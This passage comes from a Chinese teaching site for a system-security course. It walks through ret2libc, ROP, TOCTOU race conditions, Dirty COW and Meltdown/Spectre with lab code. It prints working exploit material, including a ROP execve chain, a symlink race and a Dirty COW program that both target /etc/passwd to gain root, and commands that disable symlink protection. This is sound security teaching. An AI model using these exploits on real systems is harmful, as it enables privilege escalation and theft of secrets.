ret 弹出返回地址 | 被改写的那格 = system 地址(如 0xb7e42da0) | eip 跳进 libc |
system 序言 push ebp; mov ebp,esp | 此时 ebp+4 = 原来的 RET 上面一格 | system 认为它是“返回地址” |
system 取参数 | ebp+8 = 下一格 | 必须等于 "/bin/sh" 的地址 |
数值来自 2-4 第 34 页的 gdb 输出;栈地址为示意,实际值随环境变化。由此可得三条硬结论:RET 之后的第一格要填 system 的返回地址(习惯填 exit),第二格开始才是参数;参数个数与顺序由目标函数的调用约定决定(第 3.5 节);偏移量必须用 gdb 量,不能背。
call 压、参数由调用者压;劫持后两者都缺失,所以攻击载荷必须同时补上“返回地址 + 参数”。这也解释了后面 ROP 为什么能通用:ret 天生就是“从栈上取下一个地址跳过去”,正好可以一个接一个地伪造调用。
8.7 Task A / B / C:攻击者到底要准备几样东西
2-4 第 32–41 页把实验拆成三个任务,难度递增,正好对应“缺什么补什么”。
| 任务 | 要解决的问题 | 课件给的做法 | 本实验数值 |
|---|---|---|---|
| Task A | system 和 exit 的地址从哪来 | gdb 里 p system / p exit(第 34 页) | 0xb7e42da0 / 0xb7e369d0 |
| Task B | “/bin/sh”字符串放哪 | 写个小程序 export MYSHELL,运行时打印其地址(第 35–36 页) | 0xbffffdd8(随环境变) |
| Task C | 参数怎么落到 ebp+8 | 按 8.6 的帧结构自己推算偏移(第 37–41 页) | buffer 后 112 / 116(本站代码) |
为什么先做 A 再做 B/C:地址不确定,后面摆帧都是空谈;字符串地址不确定,system 会拿到野指针。课件把“取地址”单独设为一个任务,就是在强调 ret2libc 的成败几乎全在“地址算得准不准”。
8.8 一个容易忽略的坑:程序名长度会挪动环境变量
2-4 第 46–47 页专门用一页讲这个坑:把打印环境变量地址的小程序复制成另一个名字(如 envro → e),同一份代码打印出的地址会变。原因:argc/argv/envp 以及环境字符串都压在新进程栈顶,程序名本身是 argv[0] 指向的字符串,也在栈上;名字变短,后面所有字符串整体上移,地址随之改变(第 47 页用 x/100s 直接看到布局差异)。
做法:让攻击程序与目标程序同名同长(课件建议用 cp 改名而不是重命名),或在 gdb 里现场确认地址。易混点:这不是 ASLR——关掉 ASLR 后地址仍然会因名字长度而变。
8.9 常见误解
- “ret2libc 还是要在栈上执行代码”——不执行,栈上只放数据(地址与字符串),执行的是 libc 里的指令。
- “只改返回地址就够了”——不够,还要摆返回地址之后的返回槽与参数槽,否则
system拿到的是垃圾参数。 - “
/bin/sh必须由攻击者写进栈”——可以借 libc 里的字符串,也可以借环境变量区;本实验用后者。 - “填
exit是必须的”——是工程习惯,让 shell 退出后干净收尾;不填也能拿到 shell,只是进程会崩。 - “偏移 112 是标准答案”——偏移由缓冲大小、对齐、canary 决定;课件示例是 108 起覆盖,本站代码是 112/116,都要用 gdb 实测。
"/bin/sh" 的地址是怎么得到的?单选system 地址后,紧随其后的那一格应该放什么?单选envro 复制成 e 后,地址为什么会变?单选ROP 返回导向编程
当 libc 里找不到“一个函数直接满足需求”时,就把程序里已有的以 ret 结尾的小指令片段(gadget)串起来,像搭积木一样拼出任意逻辑。ROP 不需要可执行栈,也不需要注入代码——只需要控制栈。
ret,它从栈上取下一条地址。于是栈不再只是数据,而是一张指令地址表:控制栈就控制了执行顺序。这是第 3 章“ret 会弹出一段地址放进 EIP”的直接推论。
9.1 实验程序:buffer[12]
int vulfunc(char *str){
char buffer[12];
strcpy(buffer, str);
return 1;
}
int main(){
char str[200];
FILE *badfile;
badfile = fopen("badfile","r");
fread(str, sizeof(char), 400, badfile);
vulfunc(str);
printf("Returned properly\n");
fclose(badfile);
return 0;
}
与第 4 章相比只有 buffer 变小(12 字节),但偏移不是 16,而是 24。文件注释专门记录了这一点:用 gdb 直接量得到 33/37 的那组数据是另一份编译产物;本实验在 -static 编译下量得 24,并用 finddistance.py 交叉验证——第 24 个字节被写成 0x19,崩溃时 EIP 显示 0x1c1b1a19,反推距离 0x18 = 24。
content = bytearray(0x01 for i in range(250));
for i in range(250):
content[i] += i
badfile = open("badfile", "wb")
badfile.write(content)
badfile.close()
它生成 01 02 03 … 的递增字节,崩溃时看看 EIP 是哪一个值,就知道返回地址在 payload 的哪个偏移。这是比 gdb 量栈更省事的定位方法,因为 12 字节数组在栈上会被编译器对齐、插入填充,光看源码算不出来。
9.2 为什么必须静态编译
注释里的编译命令是 gcc -fno-stack-protector -z noexecstack -static -o stack stack.c。静态编译把 libc 也放进可执行文件,gadget 地址在 .text 中固定(ASLR 只随机化库与栈,非 PIE 的 .text 不变)。这样 ROPgadget --binary ./stack --ropchain 找到的地址才能在运行时直接使用。
9.3 由 ROPgadget 生成的链
from struct import pack
# Padding goes here
p = 'A'*24
p += pack('<I', 0x0806ef2b) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8836) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805492b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ef2b) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8836) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805492b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ef2b) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049333) # xor eax, eax ; ret
p += pack('<I', 0x0805492b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080defc9) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ef2b) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049333) # xor eax, eax ; ret
p += pack('<I', 0x0804f0b3) # inc eax ; ret
把它读成三段就清楚了:
- 造字符串:用
pop edx; ret把目标地址(.data段)放进 edx,用pop eax; ret把"/bin"、"//sh"、0依次放进 eax,再用mov [edx], eax; ret写到内存。.data可写,于是拼出"/bin//sh"。 - 设置参数:
pop ebx指向字符串,pop ecx指向.data+8(作为 argv),pop edx置 0(环境变量为空)。 - 设置调用号:
xor eax,eax清零,再连续 11 次inc eax得到eax = 11(execve),最后跳到int 0x80。
注意末段的 0x0806cb25 # int 0x80 是一个“执行系统调用”的 gadget,并不以 ret 结尾——链在这里收尾。test_execve.c 是同一思路的 C 版对照:execve("/bin/zsh", p1, p2)。
9.4 运行与观察
文件注释给出的流程:gcc -fno-stack-protector -z noexecstack -static -g -o stack_gdb stack.c → 设置 SUID → python2 exploit.py 生成 badfile → gdb ./stack,在 vulfunc 下断点,单步走过 leave 后观察 esp 如何依次指向每一个 gadget 地址。
风险点 / 前提:脚本是 python2,且 pack('<I', …) 依赖固定地址;一旦换成 PIE 或 64 位,所有地址都要重找。ROP 让“栈不可执行”失效,这也是 NX 单独不足以防御的原因。
9.5 课件怎么定义 ROP:把 libc 当成“指令片段的仓库”
先看问题:ret2libc 只能借到“整个函数”,如果需要的逻辑 libc 里没有(例如“把某地址写成 0 再执行系统调用”),就卡住了。能不能不借整函数、只借一两句指令?ROP 的答案是:能,而且能拼出任意逻辑。
gadget(指令片段):一段以 ret 结尾、长度通常 1–5 条指令的机器码。生活类比:乐高积木——单块没什么用,拼起来什么都能搭。在本章实验里:pop eax; ret、pop ebx; ret、mov [edx],eax; ret、inc eax; ret 都是 gadget,全都能在 stack 的 .text 里按字节搜到。
ret 在这里有两个效果(2-4 第 58–60 页反复强调):① 把栈顶的值弹出放进 EIP;② esp 上移一格。于是“栈”从数据区变成了指令地址表:你写什么地址,程序就跳去哪;跳到的 gadget 末尾又 ret,继续取下一个。这就是 ROP(返回导向编程,Return-Oriented Programming):用 ret 当调度器,把已有代码串成新程序。它不需要可执行栈,也不需要注入任何 shellcode。
易混点:gadget 不必从函数开头开始。x86 是变长指令集,同一串字节从中间某个偏移开始解码,就是另一条合法指令——正因如此,pop; ret 这类片段在正常代码里“俯拾皆是”。
9.6 为什么拼起来能等价于任意代码
课件第 66–76 页用一个“给变量赋值”的例子做对照,非常值得记住:
| 写法 | 代码 | 问题 / 好处 |
|---|---|---|
| 实现 1(普通函数) | mov eax,[esp+4];mov ebx,[esp+8];mov [ebx],eax;ret | 地址相关的立即数可以写死,但要求“这一段代码本来就存在” |
| 实现 2(拆成 gadget) | pop eax; ret + pop ebx; ret + mov [ebx],eax; ret | 参数与操作分开,与地址无关,可任意组合 |
结论:ROP 是图灵完备的(课件引 Shacham 2007 的结论)——只要 gadget 足够多,就能表达任意计算。工程上的差别只是“链更长、更慢”,不是“能力更弱”。
9.7 ROPgadget:从“手工找”到“工具生成”
2-4 第 79–90 页给了一条可复现的流水线,本站 rop/ 目录里的地址就是它的产物:
| 步骤 | 命令 | 要看的结果 |
|---|---|---|
| 1 安装 | pip install ROPgadget | 能执行 ROPgadget |
| 2 生成链 | ROPgadget --binary ./stack --ropchain | 直接吐出一段 Python 载荷(含 execve 链) |
| 3 验证 gadget | ROPgadget --binary ./stack | grep "pop eax";gdb 里 disass 核对 | 地址与反汇编一致,不被“伪指令”骗 |
| 4 找覆盖偏移 | 用脚本二分或 gdb 观察崩溃点 | 覆盖到 RET 的字节数(本实验 24,即 0x18) |
“找偏移”那步最容易错:课件示例里崩溃地址是 0x1c1b1a19,由四个可控字节拼成,逐个减 1 后发现是第 25 个字节,所以真实偏移是 24——减 1 是因为 ret 之后 esp 又走了一格。这种“差一格”错误在手工计算里非常常见。
保护设置(第 77–78 页):NX 保持开启(这正是 ROP 要绕的)、StackGuard 关闭(否则溢出先被 canary 拦住)、ASLR 视实验而定——关掉才能用固定地址,开启则要先泄露基址。
9.8 常见误解
- “ROP 需要栈可执行”——恰恰相反,ROP 的前提是栈不可执行;栈上只有地址。
- “gadget 必须是一个完整函数”——可以落在任意函数的中间,甚至跨指令边界。
- “静态链接能防 ROP”——不能,反而更有利:所有 gadget 都在固定地址的
.text里,不用先泄露 libc(2-4 第 56、64–67 页)。 - “ROP 一定要用 libc”——不需要,gadget 来自程序自身的代码段;libc 只是额外货源。
- “链越长越强”——链只影响可靠性与体积;能力取决于可用的 gadget 集合。
p = 'A'*24 的 24 表示?单选-static 编译?单选竞态条件与 Dirty COW
前九章改的是内存里的数据,这一章改的是时间:检查与使用之间有一个窗口,只要在窗口里把对象换掉,检查的结论就与使用时的事实不符。这类问题叫 TOCTOU(Time-of-Check to Time-of-Use)。
racecondition/ 下的三个 C 程序、loop.sh 与文件注释整理;Dirty COW 的补丁细节只按代码注释写(Ubuntu 16.04 已修复、12.04 可利用),不补充课件之外的版本时间线。
10.1 一个 SUID 程序的“小工具”
程序被设计成 root 所有并带 SUID,普通用户运行时也拥有 root 权限,它可以向指定文件追加用户输入的一行内容——听起来像受限的写入工具,漏洞就在“指定文件”是一个可以被替换的符号链接。
int main(){
char * fn = "/tmp/mylink";
char buffer[60];
FILE * fp;
scanf("%50s",buffer);
if(!access(fn, W_OK)){
fp = fopen(fn, "a+");
printf("open successfully to write\n");
fwrite("\n",sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
}
else
printf("No permission\n");
return 0;
}
两个关键调用是分开的两步:
access(fn, W_OK):以真实用户(调用者)的身份检查/tmp/mylink是否可写。普通用户对/tmp/myfile可写,所以检查通过。fopen(fn, "a+"):这一步以进程的有效用户(root,因为 SUID)打开同一个路径。如果两者之间/tmp/mylink被换成了指向/etc/passwd的符号链接,root 就会向/etc/passwd追加内容。
10.2 攻击:在窗口里反复换链接
int main(){
while(1){
unlink("/tmp/mylink");
symlink("/tmp/myfile", "/tmp/mylink");
usleep(1000);
unlink("/tmp/mylink");
symlink("/etc/passwd", "/tmp/mylink");
usleep(1000);
}
return 0;
}
攻击者不断在“无害目标”和“/etc/passwd”之间切换链接。绝大多数时候程序打开的是无害文件,但只要恰好有一次落在窗口里,目标就被改了。这是概率性攻击:不追求每次成功,追求重复足够多次。
CHECK_FILE="ls -l /etc/passwd" old=$($CHECK_FILE) new=$($CHECK_FILE) while [ "$old" == "$new" ] do ./vulp_race_condition < passwd_input new=$($CHECK_FILE) done echo "STOP...The /etc/passwd file has been changed"
脚本用 ls -l 的输出来判断文件是否被改,一旦变化就停止。名下还有一个 passwd_input 文件,保存要追加的那一行内容。
10.3 运行步骤(来自文件注释)
gcc vulp_race_condition.c -o vulp_race_condition gcc attack_race_condition.c -o attack_race_condition sudo chown root vulp_race_condition sudo chmod 4755 vulp_race_condition sudo rm /tmp/mylink /tmp/myfile touch /tmp/mylink /tmp/myfile sudo sysctl -w fs.protected_symlinks=0 bash ./loop.sh # 终端 1 ./attack_race_condition # 终端 2
注释还解释了为什么要关保护:/tmp 全局可写,内核用粘滞位保护限制“只有文件所有者、目录所有者或 root 才能重命名/删除目录中的文件”,并规定“符号链接只有在所有者、跟随者与目录所有者之一匹配时才会被跟随”。fs.protected_symlinks=1 开启保护(默认),=0 关闭——实验正是要把它关掉,才能让攻击者随意替换链接。
防御视角:真实系统不应关闭该保护;更根本的修法是避免“按路径检查、再按路径使用”,改为打开一次文件描述符后用 faccessat/fchmod 等基于 fd 的操作(此句为通用原则,课件未展开)。
10.4 Dirty COW:只读文件也会被写
COW(Copy-On-Write)的本意是:MAP_PRIVATE 私有映射只有在真正写入时才复制一份页,未写入时与文件共享同一物理页。readonly.c 先演示“正常情况下写不进去,madvise 之后又恢复原样”:
char *content="**New content**";
char buffer[30];
struct stat st;
void *map;
int f=open("./zzz", O_RDONLY);
fstat(f,&st);
map=mmap (NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
// Open the process' s memory pseudo-file
int fm=open ("/proc/self/mem", O_RDWR);
// Start at the 5th byte from the beginning.
lseek (fm, (off_t) map + 5,SEEK_SET);
// Write to the memory
write (fm, content, strlen (content) );
// Check whether the write is successful
memset(buffer,0,strlen(buffer));
memcpy (buffer, map, 29);
printf ("Content after write: %s\n", buffer);
// Check content after madvise
madvise (map, st.st_size, MADV_DONTNEED);
memset(buffer,0,strlen(buffer));
memcpy (buffer, map, 29);
printf ("Content after madvise: %s\n", buffer);
第一次打印能看到“写成功”的假象(私有副本被改),madvise(MADV_DONTNEED) 丢弃私有页后,再次读到的又是文件原内容——说明改动并没有落进文件。Dirty COW 的漏洞在于:内核在“建立 COW 私有页”与“从 /proc/self/mem 写入”之间存在竞态,反复竞争可以让写入落到只读映射背后的原始物理页,从而改掉只读文件。
武器化版本用两个线程把竞态拉满:
void *writeThread(void *arg){
char * content = "test:x:0000";
off_t offset = (off_t) arg;
int f = open("/proc/self/mem", O_RDWR);
while(1){
lseek(f, offset, SEEK_SET);
write(f, content, strlen(content));
printf("writeThread\n");
}
}
void *madviseThread(void *arg){
int file_size = (int) arg;
while(1){
madvise(map, file_size, MADV_DONTNEED);
printf("madviseThread\n");
}
}
int main(int argc, char ** argv){
...
int f = open("/etc/passwd", O_RDONLY);
map = mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
char *position = strstr(map, "test:x:1008");
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);
...
}
一个线程不停 madvise(MADV_DONTNEED)(丢弃私有页,逼内核回到文件页),另一个线程不停向 /proc/self/mem 对应偏移写 "test:x:0000"。目标是 /etc/passwd 中含 test:x:1008 的那一行;一旦命中,该账号的 uid 变成 0000(root)。
gcc cow_attack_password.c -o cow_attack_password -lpthread;以 root 运行(要写 /etc/passwd)。文件注释明确:Ubuntu 16.04 已修复,12.04 可利用。在现代内核上跑不出效果是正常的;readonly.c 里的 ./zzz 需要事先准备。
易错点 / 考点
- 竞态不等于“多线程 bug”:本例是单线程程序 + 外部进程改文件系统,本质是检查与使用不在同一原子操作里。
access()用真实 uid,fopen()用有效 uid;SUID 程序里两者可能不同,这是权限被“跳过”的原因。- Dirty COW 的“写成功”有欺骗性:私有映射里的改动不等于文件被改,必须看落盘结果。
- 保护开关是
fs.protected_symlinks,0 关 1 开;默认在/tmp这类全局可写目录上开启。
sysctl -w fs.protected_symlinks=0 的作用是?单选Meltdown 与 Spectre
这一章不讲“改内存”,而讲“偷看内存”:CPU 会乱序执行、会猜分支,猜错后架构状态会回滚,但缓存状态不会。攻击者用“读缓存要多久”这一条侧信道,把回滚前碰过的机密一位一位地测出来。
Meltdwon_specture/ 下的 6 个 C 文件与注释整理;CPU 微架构层面的背景(乱序窗口大小、TSX 等)课件未涉及,不写成结论。
11.1 先修课:Flush + Reload 怎么测缓存
缓存命中时读取只需几十个周期,未命中要几百个。先把探测数组从缓存里刷掉(_mm_clflush),执行可疑操作,再逐个计时读取:哪个元素快,就说明它刚被放进过缓存。
uint8_t array[10*4096];
int main(int argc, const char **argv) {
int junk=0;
register uint64_t time1, time2;
volatile uint8_t *addr;
int i;
// Initialize the array
for(i=0; i<10; i++) array[i*4096]=1;
// FLUSH the array from the CPU cache
for(i=0; i<10; i++) _mm_clflush(&array[i*4096]);
// Access some of the array items
array[3*4096] = 100;
array[7*4096] = 200;
for(i=0; i<10; i++) {
addr = &array[i*4096];
time1 = __rdtscp(&junk);
junk = *addr;
time2 = __rdtscp(&junk) - time1;
printf("Access time for array[%d*4096]: %d CPU cycles\n",i, (int)time2);
}
return 0;
}
运行结果应是第 3、7 个元素访问时间明显更短(其余约数百周期)。__rdtscp 读时间戳计数器,volatile 防止编译器优化掉访问。
getconf PAGESIZE),缓存行通常 64 字节(cat /sys/devices/system/cpu/cpu1/cache/index0/coherency_line_size)。按页跨开可以让每个元素落在不同页/不同缓存行,避免预取或同一 cache line 相互干扰;DELTA=1024 再偏移,进一步错开。
11.2 前提:内核地址不能直接读
int main(){
char * kerner_data_addr = (char *) 0xfb61b000;
char kerner_data = *kerner_data_addr;
printf("I have reached here!\n");
return 0;
}
用户态直接解引用内核地址会触发 SIGSEGV,进程被杀,printf 永远执行不到。这也是 exceptionhandling.c 存在的理由:用 sigsetjmp/siglongjmp 把异常“接住”,让程序在崩溃点之后继续跑。
static sigjmp_buf jbuf;
static void catch_segv()
{
// Roll back to the checkpoint set by sigsetjmp().
siglongjmp(jbuf, 1);
}
int main()
{
unsigned long kernel_data_addr = 0xf9df1000;
signal(SIGSEGV, catch_segv);
if (sigsetjmp(jbuf, 1) == 0) {
char kernel_data = *(char*)kernel_data_addr;
printf("Kernel data at address %lu is: %c\n",
kernel_data_addr, kernel_data);
}
else {
printf("Memory access violation!\n");
}
printf("Program continues to execute.\n");
return 0;
}
11.3 Meltdown:异常之前的那一步已经发生了
CPU 允许后续指令在异常确定之前“先执行”,一旦异常提交,寄存器等架构状态回滚——但被访问过的数据已经进了缓存。于是:
- 读一个无权访问的内核地址(会异常);
- 用读到的值作为下标,访问探测数组
array[值 * 4096 + DELTA](这一步也在异常提交前被推测执行); - 异常处理把控制流拉回,架构状态回滚;
- 用 Flush+Reload 扫描
array,命中哪一格,就说明内核字节的值是多少。
void meltdown(unsigned long kernel_data_addr)
{
char kernel_data = 1;
// The following statement will cause an exception
//kernel_data = *(char*)kernel_data_addr;
//array[kernel_data * 4096 + DELTA] += 1;
array[3 * 4096 + DELTA] += 1;
}
static sigjmp_buf jbuf;
static void catch_segv()
{
siglongjmp(jbuf, 1);
}
int main()
{
signal(SIGSEGV, catch_segv);
flushSideChannel();
if (sigsetjmp(jbuf, 1) == 0) {
meltdown(0xf9df1000);
}
else {
printf("Memory access violation!\n");
}
reloadSideChannel();
return 0;
}
注意第 53–56 行:真正的两行被注释掉了,只剩 array[3*4096+DELTA] += 1。所以这份代码默认跑出来“只有第 3 格命中”,它是教学用的对照版本——把注释去掉才是完整的 Meltdown 步骤。阈值在这里是 #define CACHE_HIT_THRESHOLD (80)。
gcc MeltdownExperiment.c -march=native -o MeltdownExperiment。这些背景请以官方资料为准,本站不补成定论。
11.4 Spectre:骗过边界检查
受害函数有一个完全正确的边界检查:
unsigned int bound_lower = 0;
unsigned int bound_upper = 9;
uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9};
char *secret = "Some Secret Value";
uint8_t array[256*4096];
uint8_t restrictedAccess(size_t x)
{
if (x <= bound_upper && x >= bound_lower) {
return buffer[x];
} else {
return 0;
}
}
正常传入越界下标会返回 0。但如果 CPU 在分支结果尚未确定时先按“历史预测”执行了分支内部的 buffer[x],就会把 buffer + x 处的内存读进寄存器(x 可以指向旁边的 secret)。接下来:
void spectreAttack(size_t index_beyond)
{
int i;
uint8_t s;
volatile int z;
for (i = 0; i < 256; i++) { _mm_clflush(&array[i*4096 + DELTA]); }
// Train the CPU to take the true branch inside victim().
for (i = 0; i < 10; i++) {
restrictedAccess(i);
}
// Flush bound_upper, bound_lower, and array[] from the cache.
_mm_clflush(&bound_upper);
_mm_clflush(&bound_lower);
for (i = 0; i < 256; i++) { _mm_clflush(&array[i*4096 + DELTA]); }
for (z = 0; z < 100; z++) { }
// Ask victim() to return the secret in out-of-order execution.
s = restrictedAccess(index_beyond);
array[s*4096 + DELTA] += 88;
}
三个动作缺一不可:
- 训练:用合法下标 0–9 调用 10 次,让分支预测器相信“这次也会走 true 分支”;
- 刷缓存:把
bound_upper/bound_lower也刷掉,使得比较需要等内存,推测窗口更长; - 触发:传入越界下标,推测执行读出的机密值
s被用来索引array(s*4096 + DELTA),留下缓存痕迹。
主函数里,越界下标不是随便取的:index_beyond = (size_t)(secret - (char*)buffer),正好让 buffer[index_beyond] 落在 secret 上。然后重复 1000 轮“攻击 + 重载”,用 scores[] 统计每个下标命中的次数,取最大者即猜测的字符。
static int scores[256];
void reloadSideChannelImproved()
{
int i;
volatile uint8_t *addr;
register uint64_t time1, time2;
int junk = 0;
for (i = 0; i < 256; i++) {
addr = &array[i * 4096 + DELTA];
time1 = __rdtscp(&junk);
junk = *addr;
time2 = __rdtscp(&junk) - time1;
if (time2 <= CACHE_HIT_THRESHOLD)
scores[i]++; /* if cache hit, add 1 for this value */
}
}
int main() {
size_t index_beyond = (size_t)(secret - (char*)buffer);
flushSideChannel();
for(i=0;i<256; i++) scores[i]=0;
for (i = 0; i < 1000; i++) {
spectreAttack(index_beyond);
usleep(500);
reloadSideChannelImproved();
}
...
printf("The secret value is %d(%c)\n", max, max);
这里的阈值是 150,数组是 256*4096(一个字节 0–255 各占一页)。文件注释还提醒:main 里那行看似无用的 //printf("*****\n"); 是让攻击成功所必需的——它改变时序,使推测窗口稳定命中。
易错点 / 考点
- 两种攻击的差别:Meltdown 利用“异常提交前的推测执行”,Spectre 利用“分支预测错误前的推测执行”,但都靠缓存侧信道外带数据。
_mm_clflush是把数据逐出缓存,__rdtscp是计时;只做其一都测不出来。- 探测数组步长 4096(页大小)是为了错开缓存行/页,不是随便取的常数。
- Meltdown 的“读内核”与 Spectre 的“读同进程的 secret”是两种不同的越权模型,别混为一谈。
array[i*4096 + DELTA] 这样的步长?单选for (i=0;i<10;i++) restrictedAccess(i); 的目的是?单选素材清单与章节映射
这一页回答“每个文件去哪了”。左侧是原始文件,右侧是它在站内的落点;未使用的文件也列出原因,避免让人以为漏读。
A.1 文件类型与数量
源目录 D:\gpt\系统安全 共 144 个文件(不含本站新增的 learn-site),统计如下:
| 类型 | 数量 | 说明 |
|---|---|---|
| 无扩展名 | 70 | 预编译 x86 可执行文件、badfile 样本、目录等(stack、shellcode、badfile 等) |
| .c | 40 | 课堂示例、漏洞程序、攻击程序、演示程序 |
| .s | 9 | gcc -S 生成的汇编,用于对照栈帧与编译产物 |
| 8 | 第 0 讲、第 1 讲、第 2 讲(1 / 2-1 / 2-2 / 2-3 / 2-4)与虚拟机镜像手册 | |
| .py | 4 | badfile 生成脚本(stack / ret2libc / rop / finddistance) |
| .py 之外脚本 | .sh ×2 | brute_force_ASLR.sh、racecondition/loop.sh |
| .html | 2 | 前次整理的格式化字符串图解、以及本站 index.html(不计入 144) |
| 其他 | .ok ×2;.bkup/.bk/.ok-20241023 各 1;.md 1;.rar 1;.o 1;.i 1 | SEED 实验提交标记、备份文件、README、压缩包、目标文件与预处理产物 |
口径说明:learn-site/ 内的 index.html、style.css、highlight.js、app.js 是本次新增,未计入源目录统计。
A.2 课件 → 章节
| 源文件 | 页数 / 核心内容 | 站内章节 |
|---|---|---|
| 第0讲 系统安全课程安排-20261012.pdf | 考核比例、48 课时地图、参考资料 | 第 1 章 |
| 第1讲 信息安全概论-.pdf | 安全形势与事件、信用卡案例、西工大事件、攻击五环节、定义 1.1–1.17、CIA、策略/模型/机制、八大原则、防护原则 | 第 2 章 |
| 第2讲 软件安全1.pdf | 四类失真点、编译器 bug 与差分/蜕变测试、gcc 四阶段、ELF、内存布局、寄存器/EFLAGS、cdecl、栈帧、序言结语、longjmp | 第 3 章 |
| 第2讲 软件安全2-1.pdf | 缓冲区溢出、危险函数、偏移 108/112、控制劫持三法、堆/BSS 溢出、整数溢出(catvars、memcpy、password) | 第 4 章、第 5 章 |
| 第2讲 软件安全2-2.pdf | 格式串说明符、位置参数、%n、任意读/写、qiang.c、str_fmt_attack、DoS、格式串溢出、shellcode | 第 6 章 |
| 第2讲 软件安全2-3.pdf | 防御四路线、NX/DEP、canary/StackGuard、StackShield、SafeStack、PointGuard、ASLR、PIE、GOT/PLT、CFI、暴力破解 | 第 7 章 |
| 第2讲 软件安全2-4.pdf | 104 页:NX 绕过设问(2、9–10)、libc.so 与 system(11–13)、ret2libc 逐帧(14–31)、Task A/B/C(32–41)、程序名影响环境变量(46–47)、ROP 与 gadget(49–76)、ROPgadget 与偏移(79–90)、execve 链(92–101)、总结(103) | 第 7 章 7.14、第 8 章 8.5–8.9、第 9 章 9.5–9.8 |
| ___虚拟机镜像.pdf | SEED VirtualBox 使用手册 | 第 1 章 1.4 |
| formattingString漏洞-图解讲解-v2.html | 前次整理的交互式图解 | 第 6 章“延伸阅读”(未复制,保留原文件) |
A.3 代码目录 → 章节
| 目录 | 文件(摘) | 讲什么 | 站内章节 |
|---|---|---|---|
| compile-42/ | 42.c、42.i、42.s、42.o、42 | 编译四阶段与 answer 函数汇编 | 第 3 章 |
| bufferoverflow/ | stack.c、stack.s、stack_exploit.py、shellcode.c、protection.c、ASLR.c、GOT.c、PIE.c、brute_force_ASLR.sh | 栈溢出、shellcode、canary、ASLR/PIE/GOT、暴力破解 | 第 4、7 章 |
| formattingString/ | qiang.c、new_qiang.c、str_fmt_attack.c、int_fmt_attack.c、write.c、print.c、dumpStack.c、arbitraryRead.c、parameterofPrintf.c、savedparameters.c | 任意读/写、%n、格式串溢出的各种演示变体 | 第 6 章 |
| intOveflow-codes/ | intOverflow.c、23.c、memcpy.c、password.c | 无符号回绕、长度检查绕过、有符号/无符号混用 | 第 5 章 |
| returntolibc/ | returntolibc_stack.c、returntolibc_exploit.py、envro.c、systemexit.c、pro_epi_logue.c/.s | ret2libc 布局、环境变量定位 /bin/sh | 第 3、8 章 |
| rop/ | stack.c、exploit.py、finddistance.py、test_execve.c | gadget 链、偏移定位、静态编译 | 第 9 章 |
| racecondition/ | vulp_race_condition.c、attack_race_condition.c、loop.sh、passwd_input | 符号链接 TOCTOU | 第 10 章 |
| racecondition/cow/ | readonly.c、cow_attack_password.c、zzz | COW 私有映射与 Dirty COW | 第 10 章 |
| Meltdwon_specture/ | cachetime.c、FlushReload.c、access_kernel.c、exceptionhandling.c、MeltdownExperiment.c、SpectreAttackImproved.c | 缓存侧信道、异常处理、Meltdown/Spectre | 第 11 章 |
A.4 未纳入正文的文件与原因
- 无扩展名可执行文件(约 70 个):属于编译产物或实验样本,内容与对应 .c 重复,故不逐一讲解;本章节中的“运行前提”已覆盖它们的编译方式。
- .ok / .bkup / .bk / .ok-20241023:SEED 实验的提交/备份标记,无教学信息。
- 系统安全课程-代码-20261020.rar:与
codes-share-to-class内容重复的打包件,未解压。 - README.md:目录说明,未作为正文来源。
- formattingString 的若干变体(new_qiang.c、dumpStack.c、arbitraryRead.c、savedparameters.c、print.c):是同一原理的不同演示,正文只取有代表性的 qiang.c、write.c 与 str_fmt_attack.c,避免重复。
A.5 已知缺口
- 竞态条件、Dirty COW、Meltdown/Spectre 在课件中的讲解页缺失,相关章节以代码为主,凡代码无法证明的原理均标注“课件未展开”。ret2libc 与 ROP 已由 2-4 补齐(第 8、9 章)。
- 课程目录中的“安全模型与机制、操作系统安全、虚拟化安全、云计算安全、IoT 安全、协议安全与形式化分析”等主题没有对应课件,本站不设章节。
protection.c的偏移 68、rop/stack.c的偏移 24 均为特定编译选项下的实测值,换编译器/选项后必须重量。
A.6 使用与校验说明
- 站点不加载任何外部资源:样式、脚本、高亮均为
learn-site/assets/下的本地文件,断网可用。 - 代码高亮是本站自写的轻量分词器(非 highlight.js),只做关键字/字符串/数字/注释着色,不追求完整语法解析。
- 进度与主题写在 localStorage;清除站点数据会一并清除。
- 原文与代码均未修改;源目录中新增的只有
learn-site/目录。